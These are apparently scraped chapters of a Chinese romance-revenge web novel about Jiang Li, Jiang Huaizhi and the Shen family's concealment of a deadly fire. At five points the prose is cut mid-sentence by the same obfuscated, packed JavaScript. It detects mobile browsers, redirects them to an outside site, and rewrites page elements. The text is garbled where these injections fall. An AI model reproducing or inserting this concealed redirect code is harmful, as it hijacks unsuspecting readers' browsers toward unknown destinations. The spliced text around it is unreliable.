姜梨看着放在桌子上还冒着热气的食物,愣了一下,都是口味很清淡的东西。 这个男人,好像一直以来想得都挺周到的。以前是,现在也是。 姜梨确实饿了,坐直身体,二话不说开始吃饭。 江淮之坐在她对面,双腿交叠。 她的食量不大,眼见她吃的差不多了,江淮之悠悠开口,“昨天帮你把沈月汐和傅雪绑到酒吧的人,是沈翊?” 姜梨伸手扯抽纸的动作顿了一下,然后擦拭了一下嘴巴,将纸团扔进了垃圾桶。抬起眼皮,看着他说:“我前几天才因为他进了警局,我找他帮忙我是有病吗?我花钱雇个杀手不难,江总大可以直接问我,我没打算瞒你,你用不着这么拐弯抹角。” 还在撒谎。 江淮之的唇角勾了起来,“这样啊,多少钱雇的?在哪雇的?” 刚刚江淮之提到了沈翊,他怀疑那个人是沈翊。这一点,让姜梨微微松了一口气。 她神色自若,张口就开始瞎编:“我最后一张银行卡都给他了,十万块。他只让我给钱,其他的什么都没跟我说,我也不清楚。” 他的笑意淡了一些,“那你身上那个枪伤又是怎么回事?” 姜梨的身体僵了一下,抿了抿唇,继续若无其事的对他撒谎,“是吗?我怎么不知道我身上有枪伤?长啥样?你给我形容一下。” 她说的这些话也就只能糊弄一下别人,江淮之是一个字都不会信。但是,看姜梨这么不想说,这么害怕他知道,然后对他编了一个又一个的借口。 他还是于心不忍,没有再继续追问。 姜梨打量着江淮之的神色,知道他这是“放过”她了,悬着的心也彻底落进了肚子里。 “你真的要娶傅绾吗?” 她极其自然的转移了一下话题。 “嗯?”江淮之一顿,似笑非笑,“姜梨,重婚犯法。” “你既然不娶她,所以你为什么要来阻止我翻出林遥那起火灾的事情?”姜梨压下去的怒火再一次窜了出来,越说眼神就越冷,“你说过,我想要的东西只有你能给,你忘记了吗?” “你可以阻止我,但是你不能是因为各种各样的利益牵扯来阻挠我。” 呵,她倒是先跟他算起账来了。 “我要是真的忘记了,我今天就不会给你机会让你来酒吧,更不会伙同陆七让他保你。”江淮之敛起了笑,眼神幽深的看着她,“一个阮经颜和一个叶辞当你的人证就足够了吗?傅砚是市长,沈家现在也是仅次于司家和陆家的地位,捏死你就跟捏死一只蚂蚁一样简单。” 江淮之说的话犹如一记重锤,狠狠在姜梨心口处敲了一下。 他今天不仅收拾了那个她自己都没有在意过的,辱骂过她的人,还把陆七叫过来当“她”这边的一个最有说服力的帮手。 可是在同一天里,这样连吃带拿的事情他干了两次!两次! 他会帮她,但是不会只帮她,他也会适当的帮别人。 为了沈司傅三家的利益,不让她捅出这件快被遗忘掉的事情。 从某种程度上,江淮之不还是当了她的绊脚石吗。 “今天这件事情,你要是不拦我,就算傅砚不帮我,沈叙肯定也会帮我。”姜梨垂下眼皮,说的话几乎是从牙缝里挤出来的,“沈月汐纵火杀人,楚云也脱不了干系,他不就可以彻底在沈家站稳脚跟了吗?” “你就是为了沈司傅三家抱团的利益,和他们合伙起来欺负我!” 欺负她?江淮之都不知道是该气还是该笑。 “你一开始不是还想把姜祈安的事情一起翻出来吗?”他叹了一口气,继续耐心的跟她解释,“林遥和姜祈安的事情是意外,这都是确凿的事实。就算你怀疑是他杀,没有能一击毙命的证据,就得把自己的心思藏好了。” “今天这档子事,无疑是把你自己暴露在沈叙的眼皮子底下,我要是不提前给你找出一个替罪羊出来,你真的以为他们拿不到证据就不能把你怎么样吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293813|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?林遥的死于沈家那可是天大的丑闻,足以让沈家身败名裂,沈叙这样的人,你觉得他会放过你?” “还敢说我欺负你,我这分明是在藏你,小没良心的。” 江淮之说的那些条条在理,姜梨没法反驳。但是说她没良心……她不认。 “我大学都还没有毕业,我哪里能知道你想那么多?”她的手掌下意识摸上了膝盖,眼睫轻颤了一下,声音闷闷的,“我都故意没去找你帮忙了,不想让你牵扯进来,哪里没有良心了?” 江淮之看着她暗戳戳的动作,叹了一口气,“嗯,我的错。” 说完他缓缓站起来朝着她走过去,将她从沙发上抱了起来,往卧室里走。 姜梨也懒得挣扎了,他愿意抱就抱吧,正好她也不想光着脚走。 “跟你说件事。”江淮之把她放到床上,低垂着眼看她,食指勾缠着她的头发,“我明天下午要回北城了,过几天还要去趟港城,近一个月的时间我都不在樱洲。” 去港城?他去那里做什么? 姜梨顿了一下,眼底暗了暗。然后“哦”了一声,静静地等着他的下文。 “你有什么事可以找简清时。我不在,别再像今天这样莽撞。我在的时候你怎么闹都行,我可以给你递刀,给你兜底。”江淮之的食指松开她的头发,虎口卡住她的下颚,轻轻的晃了晃,“妹妹,复仇的前提是要先保命,明白么?” “知道了。”姜梨不太喜欢这个动作,像是在逗什么小猫小狗,身体往后仰,躲开他作乱的手,“那个顶罪的,你是用什么方式让他心甘情愿顶罪的?他会是什么下场?” “会坐牢。”江淮之的眼底飞快的闪过一丝阴戾,姜梨没有察觉到,他缓缓开口:“这件事情你就不用管了,总之他不会再出现在你身边。” 他不说,姜梨也没有再多问,眼皮有些重,有点困了。 “还有。”江淮之挑起她的下巴,眼睛微眯,透着一丝危险,“不要跟叶辞走得太近。” 姜梨:“………” 这个男人,今天真的好啰嗦! 第25章 背叛者的下场 江淮之是怎么好意思跟她说出来这种话的? 她和叶辞的关系可比他跟他身边的任何一个女人的关系要干净一百倍!他这个一百步的人,是怎么会想到要来警告她这个零步的人的? 狗男人! 姜梨笑了一下,没有把心里的话说出来,而是低眉顺眼道:“我知道了。” 她嘴上是这么答应的,心里却不是这么想的。 北城和樱洲这么近的距离,姜梨从港城回来近一年的时间都没有和他偶遇过。就更不要说港城离樱洲这么远,他还能管得到她吗? 而且他后面应该会很忙,忙着跟傅绾拉扯,哪里有时间管她?江淮之这个官家都明目张胆的放火了,她这个老板姓点一盏灯那是一点都不过分。 接二连三的事情,让姜梨心力交瘁。再加上喝了不少的酒,现在困意来了挡都挡不住,眼皮很沉。 她伸手推开江淮之,自己缩进了被窝里。 下一秒灯被关上,然后是脚步声,最后是关门声。 卧室彻底陷入了一片黑暗中。 . 北城沈家。 沈月汐坐在沙发上,对面是沈叙和沈君临,楚云还没有回来。 “三年前的那场火是你放的,林宴那个畜生也是你引来的。” 姜梨说的这句话不断的在她脑子里盘旋,害怕和恐惧围绕着她,让她的身体止不住的发软,颤抖。 沈叙看着她这副丢了魂的模样,眉头皱了起来,冷声问她:“今天到底是怎么回事?” 沈君临也在问她:“到底是不是姜梨干的?” 沈月汐抿唇,惨白着一张脸摇头,双唇轻颤,“我不清楚……我刚出学校就被人打晕了,醒过来的时候就已经在酒吧后面的空地了。” “也确实是那个男人,给我和傅雪都灌了药,等我再醒过来的时候,就看到了姜梨。” 她有些崩溃的扯着头发,对着对面坐着的两个人大声的嘶吼起来,“我也不知道是怎么回事!你们别总是用这副审视和责怪的语气跟我说话!要不是大哥和妈妈非要让我在校庆的时候用姜祈安恶心姜梨,会出这档事吗!” 沈月汐的眼泪瞬间夺眶而出,“回来的第一时间,你们不是给我找家庭医生,而是迫不及待的来逼问我………我最后难道没有帮到沈家吗?傅家不是已经答应要给补偿了吗?到底还要我怎么样!” 这一嗓子吼完,沈君临就呵斥了她一声,“还不是你不中用!一个小杂碎而已,三言两语就把你吓成了这副鬼样子!” 沈叙的眼睛微微眯了眯,看着她没有说话。 正当沈君临又要开口说什么时,沈叙抬了一下手,示意他不要再说了。 “父亲不用这么疾言厉色做给我看,月汐和我再怎么说也是同父异母的亲妹妹,我还能为了这点小事罚她不成么?”他的声音还算温和,听不出什么情绪起伏。 沈君临哽了一下,他确实是怕沈叙会因为和傅家闹崩盘了而怪到沈月汐身上,才故意先骂了她一通。 沈叙慢条斯理的从烟盒里抽出来了一根烟捏在手里,然后掐断。他抬起眼皮,深深的看了沈月汐一眼,“只不过,月汐你说的话,真的是实话吗?” 他为什么要这么问?他在怀疑什么? 沈君临也怔了一下,难以置信的看着沈月汐。 “你知道大哥的脾气,对待背叛者,我一向都是毫不留情的。”沈叙轻笑,悠悠的说:“拔掉舌头,挖下双眼,生不如死。” 沈月汐的心头一颤,后背一阵阵的发凉。 一个江淮之,一个沈叙,她被这两个人夹在中间。 前有狼,后有虎,她一点都不敢轻举妄动,生怕一个不小心,就会被他们其中的一个毫不留情的掐断脖颈。 “真不真你难道不会自己判断吗?我今天的脑子已经够乱了,你还要我怎么样啊?!”沈月汐双目通红的看着沈叙,恨的一口牙都要咬碎。 凭什么姜梨一直都有人捧着,从前是姜祈安,后来又来了一个江淮之和林遥。 明明都是妹妹,姜祈安一直都在偏心。 好不容易他死了,沈月汐终于可以压制她了,结果呢!江淮之又要护着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293814|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她! 所有的好事都让她姜梨一个人占尽了! 她一个被关在精神病院里两年的疯子,到底有哪一点值得这些人一个个的为了她去拼命!? 现在,连她沈月汐都不得不帮她遮掩……… “三年前的那场火,是你放的。林宴,也是你引来的。” 突然,姜梨的这句话在她耳边响起,沈月汐只觉得全身的血液都开始倒流,是深入骨髓的恐惧。 情绪彻底崩溃,沈月汐两只手无力的扯着自己的头发,眼泪像泉水一般涌了出来。 凌乱的头发,通红的眼睛,惨白又带着伤痕的脸,像极了电影里的女鬼。 沈叙审视的目光渐渐恢复了平静,心里的那点疑虑渐渐消散。 给沈月汐一百个胆子,她也不敢说谎。 姜梨也没有那么大的本事,翻起这么大的一片风浪。 “行了,大哥只是例行询问而已,没有责怪你的意思。”沈叙把断掉的烟扔在 了桌子上,神色柔和,温声细语,“家庭医生我已经叫了,楚姨那边我也通知了,你回房间休息吧。” 沈月汐没有动作,依旧保持着揪扯头发的姿势。 沈叙喊来了管家,下巴微微扬了扬,“带小姐回房间。” “是。” 沈月汐被管家扶着胳膊,脚步踉跄着上楼。如若不是有人扶着她,她早就腿软,滚下去了。 这样的恐惧,不是来自于江淮之,也不是来自于沈叙。 而是来自于姜梨。 沈月汐不知道她说这样的话,究竟只是怀疑和套话,还是她已经有了某种证据。 一直到走进房间,坐在柔软的床铺上,沈月汐的牙齿都在打颤。 她屈起膝盖,上面还有跪下去被石子摩擦出来的血痕以及淤青,还沾上了不少泥泞。 沈月汐看着墙上的钟表,不断在心里催促楚云快点回来。 沈君临如果知道了这件事跟她有关系,非但不会管她,还会把她赶出沈家! 现在,只有她这个母亲能帮她了。 第26章 到底是谁 楚云带着家庭医生风风火火的回到了沈家。 沈月汐看到楚云,像是抓到了救命稻草。她跳下床,双腿“扑通”一声就跪在了地上,双手死死抓着她的衣服,“妈妈,你一定要救救我!” “起来!成何体统!”楚云看到她这副疯疯癫癫的模样,眉头蹙了起来。 她一把扯住她的胳膊,带着怒意将她从地上拽起来,然后扭头对家庭医生使了个颜色。 拎着药箱的医生开始给沈月汐处理身上的各种擦伤,哪怕是细小的伤口都涂上了一层药膏。 上完药,医生退了出去关上了门。 楚云站在沈月汐床前,居高临下的看着她,“到底是怎么回事!” 这一次沈月汐不再敢隐瞒,把事情的经过都一五一十的告诉了楚云,在说到姜梨质问林遥的事情时,沈月汐又再一次拽住了楚云的衣服,“妈妈,她是不是已经知道什么了?她是不是连证据都有了!我……姜梨就是一个疯子,她要开始报复我了……” 楚云抿唇,她也没想到姜梨居然会做出这样的事。明明以前都是一副逆来顺受的样子,要不是有姜祈安一个这样的好哥哥,姜梨早就已经死了。 “你没有把这些事告诉你大哥,很聪明。”楚云缓了缓情绪,原本脸上的厉色也柔和了下来,她坐到了沈月汐的床边,伸手轻抚着她的头发,“你哥哥已经不在了,现在妈妈还需要姜梨这张牌,必要的时候你可以适当的帮她。至于林遥和林宴,你就更不用担心了。这件事已经过去了三年,妈妈已经帮你把证据都销毁了,姜梨她不会有证据的。” “况且,林遥是自己作死,是她自己非要豁出命救姜梨,跟你没有关系。” “你是我的女儿,我自然不会将你和姜梨混为一谈,我会好好的替你选一个合适的,你心仪的联姻对象。这段时间你不能进樱洲,好好调整一下你的状态,不要被姜梨牵着鼻子走,你听明白了吗?” 楚云的话,无疑是一颗定心丸。过了许久,沈月汐依偎在楚云怀中,嗓音嘶哑,“我知道了,妈妈。” . 姜梨这一觉睡得并不安稳,一会梦到她去认领姜祈安遗体的那天,一会又梦到林遥和林宴同归于尽的场景。 最后的画面,是身穿红裙的女子从高楼一跃而下,梦中的姜梨亲眼看到她的身体像是破布娃娃一般,砸在了水泥地上,鲜红的液体汩汩不断的从她身体里流出来,周围的人群指着她的身体不断的唾骂,姜梨想嘶吼,可喉咙却发不出一点声音。 在梦中,姜梨看到那个女人的眼神是化不开的恨和不甘,以及深深的痛苦。 “……愿。”她的双唇蠕动,用尽最后一口气说了一句:“不要接近司家的人,我已经跑不掉了,但是你可以。快走,躲得远远的……” 谁不要接近司家,为什么不要接近司家? 姜梨想问个清楚,但是喉咙像被人掐住了,发不出一点声音,反而开始窒息。 “啊!” 姜梨从梦中惊醒,心口处痛的厉害,大口大口的喘粗气,身上都是冷汗。 这不是她第一次做这个梦,自从身边的人接二连三的出意外,她几乎每一天都会被这些噩梦惊扰。 她身上背负了太多的仇和恨,亲人的,朋友的,自己的。 是缠在她身上,无法剥离开的,越收越紧的藤蔓。 “轰隆——” 外面一声巨响让姜梨抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293815|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,她从床上爬起来,伸手拨开窗帘,看向窗外。 大片的乌云黑压压的,整座樱洲城都笼罩在了一片黑暗之中,大雨滂沱。 姜梨重新拉上窗帘,表情有些颓。 下雨天,空气是潮湿的,气温是冷的。走在大街上,溅起的泥泞会染脏衣物。 就算是在家里,这种阴沉沉,湿乎乎的感觉都让她的心情不可控制的低落下去。 她来到浴室,开始洗漱。 洗脸的时候她抬头看了一下镜子,然后惊住了。睡袍的衣领很开,一侧脖颈处的痕迹清晰可见。 一点一点的红痕,面积细长,遍布在那一块皮肤上。 这………! 姜梨全身的血犹如烧开了一样,开始翻滚,脸颊乃至脖子都染上了一层红色,感觉自己的大脑都被雷给劈了一下,耳边嗡嗡作响。 关于这个,她真的一点印象都没有了!她半夜醒过来的时候,顶着这一片痕迹跟江淮之拉扯了半天,这老男人到底是有多变态!他有病吗! 趁着她不省人事,对她行不轨之事。他还故意不提醒她! 江淮之怎么变成这样了!他怎么能对她这样!他怎么可以这样! 姜梨气得不行,她走出浴室,停在了江淮之的房间门口,伸出脚不轻不重的踢了一下门板,骂了一句:“老变态!” 然后又迅速的回到了自己的房间里,还不忘把门反锁。 江淮之正在开视频会议,他听到了那声动静,以及她气急败坏的骂声。 大概知道,姜梨这是发现了他的恶行,但是又有点怂,不敢直接冲进来质问他。 这章没有结束,请点击下一页继续阅读! 第27章 我要跟你离婚 豆大的雨点砸在窗户上,发出沉闷的声响。 姜梨又想到了江淮之过几天要去港城的事情,她拿出手机,切换了一下微信号,给那个男人打去了一通语音电话。 秋水湾这边是富人区,高级公寓的隔音效果很好。但是姜梨也怕江淮之会突然要进来,电话接通后她直接开门见山:“这段时间你先暂时不要回港城那边了,他们已经在怀疑你了,我们近一段时间也不要再联系。” “昨天的事情不顺利吗?” 姜梨声音压低,“顺利的,昨天的事情我还没来得及跟你道………” 男人直接打断她,“我要听的不是这个,我要的是害死林遥的凶手的命。” 他们就是因为这个共同的目的,才一拍即合走到一起的。姜梨本人也不知道他的身份,甚至不知道他长什么样,只知道他活跃在港城,他们就是在那里相识的。 她不是没有防备心,只是这个人口出惊人。 “我对你没有任何兴趣,我只对你眼睛的主人感兴趣。” 他不仅认识林遥和姜祈安,还知道姜梨的眼睛是林遥的。 姜梨一个人,是不可能斗得过沈月汐的。 她的背后不仅仅是一个沈家,还有楚云背后的楚家。她需要帮手,需要一个能拼上性命和她一起去报仇的帮手。 这个男人就是最好的人选。 姜梨眼神暗了暗,她深吸了一口气,“我明白了,你小心。” 她挂断电话,又将微信给切了回去,把历史登陆记录给删了个干净。 . 姜梨心事重重的踏出房门的,突然一团毛茸茸的东西跑到了她的脚边,不停的蹭着她。 她吓了一跳,再定睛一看,居然是一只白加金的拿破仑。很小,应该是刚断奶没多久,长得很漂亮。 姜梨的眼睛瞬间亮了起来,蹲下去动作轻柔的把那只猫抱进了怀里,小猫冲着她叫了一声:“喵~” 昨天晚上还没有的,是江淮之早上带过来的吗? 正当姜梨疑惑时,她听到了季妍的声音,“少夫人。” 姜梨顺着猫毛的手猛地停住了。 今天是周六,江淮之说过的,他会在这一天把季妍调过来,看着她。 她自己都要忘记这档子事了,以为他送她去学校的那天,在车上吵的那一架让江淮之改变了主意。 现在看来,完全是她想多了。 江淮之一向说一不二,也一向守时,怎么可能会改变主意? “季姐姐,猫是你带过来的吗?”姜梨的食指点了一下这只猫粉色的鼻子,看了一眼季妍。 季妍听到她的这句称呼,心里一阵惶恐,“少夫人,您叫我季妍就行。猫是大少爷今天早上带回来的,您平时在学校不回来,我就负责照顾这只猫。” 姜梨撇嘴,她就知道是这样。 这个老奸巨猾的狗男人!他居然想利用这只猫,让她不得不心甘情愿的同意他安排季妍来看着她。 姜梨恨恨的从牙缝里挤出来四个字,骂了他一句:“老,王,八,蛋。” 季妍听到她这声骂句,被惊了一下。 然后就看到江淮之从房间里走了出来,她低下头,默默地退了下去。 “怎么还骂我?不喜欢这只猫?” 姜梨把猫放了下去,转身看着江淮之。 白衬衫,领口微微敞开,可以看到锁骨和那颗饱满的喉结。少了一点沉稳,多了一点性感和野性。 姜梨越看,越觉得他道貌岸然,气得想给他一巴掌,硬生生的忍了下来。冷笑了一声,“烂仔难道不该骂吗?” 烂仔? 她这是在说他是流氓? 江淮之挑了一下眉毛,“我说过了,不听话就要承受得住后果,这是惩罚。” 姜梨皱眉,“你耍流氓你还有理吗?想要的时候就来逗一下,撩一下。不想要了就扔掉,扔掉还不够,还要再来戳几刀,我又不是你养的宠物,我凭什么要听你的话?” “自己酒量有多差,你心里没点数?”江淮之看着她,眼里没有情绪,但是姜梨知道他现在的心情已经是不高兴了,感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293816|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到了来自他身上的压迫感,“同样的事情你做了多少次了?我能救你一次两次三次,那是因为我刚好在,那我要是不在呢?” 他轻笑了一声,“我要真的是你嘴里说的烂仔,就不会顾忌你醒过来会哭,做的也不只是这样简单的事情了。” 姜梨听他说的这话,眼圈红了一分。 如果是换成是那个人,他还会说出这种话吗?他还这样做吗? 江淮之不会的,他只会把人捧在手心里。 那他在对她这样做的时候,心里想的是谁?是他心里,那个爱而不得的白月光吗? 怎么?她和江淮之喜欢的那个人,长得很相像吗? 之前也是这样。江淮之抱着她,力道大的几乎是要把她揉进身体里,他那样的失控,是姜梨从未见过的。 然而,他嘴里喊的却是别人的名字。 呵,谁他妈要和他玩这种狗血又无聊的替身文学了! 姜梨的眼神一寸一寸的凉了下来,她盯着他,一字一句的说道:“我要跟你 离婚。” 周遭的空气一瞬间就像是凝结成了冰,冷凝,僵硬。 “喵?”一声猫叫打破了滞凝的空气,脚踝处又感受到了一阵毛茸茸的触感,有些痒。 是那只猫在蹭姜梨,时不时的用爪子挠她的裤子,在哄她? 姜梨现在没有功夫管这个小东西,满脑子都只有一个想法,她不要当替身,她要跟他离婚! 江淮之的神色没有变化,淡声问她:“理由是什么?” 她没想到江淮之会这么问。 说因为他把她当替身?这个不能说,说了她以前她做过的那些蠢事就会被翻出来,那她一直都在喜欢他这件事,就藏不住了。 姜梨随便扯了一个理由,“给你的傅大小姐腾位置啊,这样就不犯法了。” “你要是因为这个才要和我离婚的话,我驳回。”江淮之扯了扯嘴角,“我不会娶她。” “驳回无效。”姜梨咬了一嘴唇内侧的肉,又重复了一遍:“我要和你离婚。” 第28章 司家和陆家其实乱的很 江淮之眸色沉了下来。 凌晨的时候还很乖的人,怎么醒过来以后就开始炸毛了?是因为他在她身上留印子了吗? 还是因为……想到了什么,江淮之直接对她说:“如果是因为我说了什么话让你觉得不高兴了,你可以直接来问我。你可以用任何方式来发泄情绪,但是我不想再从你嘴里听到“离婚”这个词。” “你不是有喜欢的人吗!还非要对我做出那样的事!说那样的话!”姜梨的双手一把拽住了他的衣领,所有的委屈全部倾泻了出来,眼泪瞬间溢了出来,“一边想着白月光,一边和别的女人谈婚论嫁,然后现在又抓着我不放!你到底对得起谁!?” 她的眼泪不停,像泉水。 姜梨的眼睛不能这么哭,会红会痛,搞不好还会再瞎。 江淮之用手掌抹掉她的泪,“除了你,我从来都没有喜欢过别人,也从来都没有想过要娶其他人。我要真对你没想法,干嘛非要拉着你去扯证,你自己骂一骂也就算了,就当是爱称了。但我还真的没有变态到这种地步,喜欢玩伪/骨。” 姜梨的呼吸停住了,心间翻腾起一片惊涛骇浪,浪花拍打着她的心脏,一下又一下。 江淮之说,他喜欢她。 眉骨是温热又湿润的触感,紧接着,她又听到江淮之说了一句,“没有白月光,也没有朱砂痣,只有你。” 心里郁结的情绪,因为江淮之的这一番话消失不见了,她现在看什么都顺眼。 包括外面糟糕的阴雨天,看在眼里都觉得是在放晴。 吃过饭,姜梨盘腿坐在沙发上,面前摆放着电脑,她落下来的作业还没补齐。 那只拿破仑乖顺的趴在她的大腿上,偶尔懒懒的叫一声,姜梨会腾出手来给它顺顺毛。 “这只猫有名字吗?”姜梨的余光瞥了一眼坐在旁边的江淮之。 “大梨。” 姜梨敲键盘的手顿了一下,偏头不满的瞪了他一眼,“还说你不是变态,这个名字取得就很有歧义。” 一个大梨,一个二梨。他不就是把她当猫了吗?烂仔! 江淮之没有否认,“那你叫一声给我听听?” 姜梨低头看怀里的猫,伸手挠它的下巴,赌气似的一连叫了好几声:“小野,小野~” “喵~” 江淮之眉梢轻挑了一下,姜梨的心情不错,他的心情也很好,没有再去跟她计较这个名字的问题。 她想叫就叫吧,不然又要给他扣帽子了。 两边的头发被她捋到了耳后,黑如墨色的长发垂在后背和胸前,发尾是自然的弯曲。 江淮之往她身边挪了一点,两个人的距离被拉近。他的身体后仰,手掌把玩着她的头发。他的手指嵌进发丝,黑色的几缕头发缠绕在五根手指之间,然后又滑出去。 “我是让季妍来看着你,但不是监视你。”他的声音清润温和,“只要你每个星期乖乖的回这里,每天按时按量吃药,身体的各种毛病没有复发,你做什么事情我都不会过问。” 姜梨长长的“哦”了一声,这样的话她也没什么不能接受的。 看了一眼电脑桌面上显示的时间,已经快一点了。眼睛闪了一下,姜梨看着他问:“所以你是快要走了吗?” 江淮之的眼睛看着缠在自己食指上的头发,“嗯,舍不得?” 姜梨这才注意到他的动作。 他的手指修长白皙,骨节分明,指甲修剪的干净圆润。是一双很漂亮的手,很适合弹钢琴。 只是现在,黑发轻轻缠绕着手指,再配合他的动作和神情,莫名的有些……瑟情。 “嗯?” 姜梨许久都没有出声,江淮之抬起眼皮看她,注意到她有些泛红的耳尖,眉梢挑了一下,停下了手里的动作,“姜二梨,你在想什么乱七八糟的东西?” “我没想。”姜梨回过神,将视线移开,掩耳盗铃般的撸了几把猫毛,“也没有舍不得,你忙你的。” 江淮之没搭话,只看她越来越红的耳朵,有点想笑。 . 一点的时候,江淮之从卧室再出来时已经穿上了黑色的西装外套,又变成了那个矜贵沉稳的江总。 “二梨,过来一下。”他手上拿了一条纯黑色的领带,“帮个忙。” 姜梨这才注意到,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293817|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有打领带,江淮之是要她帮他? 她放下猫,踩着拖鞋走过去,站到他面前,接过他手里的领带。 姜梨不高,只有一米六,就在她要踮脚的时候,江淮之很配合的弯了腰,方便她操作。 她是在认真的摆弄领带,没注意到江淮之看着她越来越不清白的眼神。黑沉沉的,像在酝酿一场风暴。 “可以……!”姜梨刚要退走,就猝不及防的被他揽住腰抱进了怀里。她的身体骤然绷紧,有些僵硬。鼻尖萦绕的是他身上的雪松香,揽着腰的胳膊越收越紧。 就在姜梨快要喘不上来气的时候,江淮之松开她,唇瓣轻轻的在她嘴唇上亲了一下。 “晚上早一点睡觉,电子设备不要看太久。”他站直身体,揉了一把姜梨的头发,“乖一点,等我回来。” 一直到江淮之走出门, 姜梨都还呆呆的站在原地,半天都回不过神。 这是江淮之,第一次在清醒状态下主动亲她。 姜梨咬了一下唇瓣,摸了一把发烫的脸,木讷的回到沙发上。 缓了好一会,才拨通叶辞的电话。 “问你个事。”电话铃声响了好一会,那边才慢悠悠的接起来,姜梨想了一下,问他:“司家还有其他的女孩吗,小辈的。” “还有其他?”叶辞愣了一下,然后说:“你昨天喝酒醉糊涂了吧?现在还没醒?除了那个已经去世的司家二小姐,司家小辈里哪里来的女孩?” 姜梨继续问他:“后来没有收养过其他的女孩了吗?或者有没有借住的女孩?” “司家和陆家挂钩,乱的很。这种事,你直接问江淮之不好吗?他不是司家大少爷吗?” 江淮之过于了解她,也过于敏锐。南诗奕的死对于司家来说,是丑闻。一旦曝光出来,必然会引起轩然大波从而影响司家的地位。 最重要的一点,那一年江淮之还没有回司家,他甚至都不知道这回事情。江淮之走到今天这一步,没有一步是容易的。这是姜梨自己和司家的恩怨,她不想将江淮之扯进来。 姜梨对江淮之,是有私心的。 她不想让他为难。 第29章 不可描述 姜梨对电话另一头的叶辞扯了个谎:“人早就走了,我上哪问?” “哦~”叶辞拖长腔调,“你怎么突然对司家这些陈年旧事感兴趣了?” “没什么。”姜梨觉得心口有些堵,起身走到了阳台处,冷风袭来,她看着雨幕瑟缩了一下,“就是觉得,司家挺乱的,想八卦一下。” 叶辞不置可否,因为司家确实很乱。 突然他想起了什么,对姜梨说了一句:“不过,照你的说法还真有个人挺符合的,算是司家小辈的女孩。” “谁?”姜梨的声音雀跃了起来。 叶辞缓缓道:“你啊。你不是江淮之的妹妹吗?星期五那天就已经从傅雪嘴里传出来了,现在怕是整个樱洲都知道了。” 姜梨:“………” 她的脑子里开始回想之前她和江淮之做的荒唐事,虽然是她头脑不清醒做出来的举动,但是江淮之很受用,他当时的表情和眼神都在表明,他很爽。 还有刚刚那个蜻蜓点水般的吻。 再听叶辞说的这句话,姜梨莫名的开始有些心虚,甚至都不好意思再听下去。 然后在心里得出一个结论:司家的男人,骨子里都是变态,都喜欢玩伪/骨。 “我算不上司家人,我没什么要问的了,先挂了。”姜梨的脸又开始发烫,她深吸了一口气,结束了这通电话。 她捏着手机,手撑着阳台的围栏,吐出一口浊气。眼神幽深复杂,眉头又锁紧了。 南诗奕死后,几乎所有跟她关系亲近的人都已经被暗中处理掉了,而姜梨是那个意外。 她和南诗奕关系很好这件事,知情者并不多。姜祈安算一个,然后就只有陆璟和司南赫了。 陆璟和她关系很好,自然不会把她供出来。 至于司南赫为什么不把她曝光出来,姜梨也觉得疑惑,他就不怕她会跟他鱼死网破,把他和南诗奕的关系曝光吗? 要不是姜梨被刺激的疯了一段时间,她真的会去找司南赫寻仇,这是毋庸置疑的。 包括现在,她也恨不得一刀捅死这个负心汉。 明面上他们是姐弟,但是南诗奕却做了司南赫两年的地下情人,她有多爱司南赫,姜梨是清楚的。 但是最后还是断掉了。 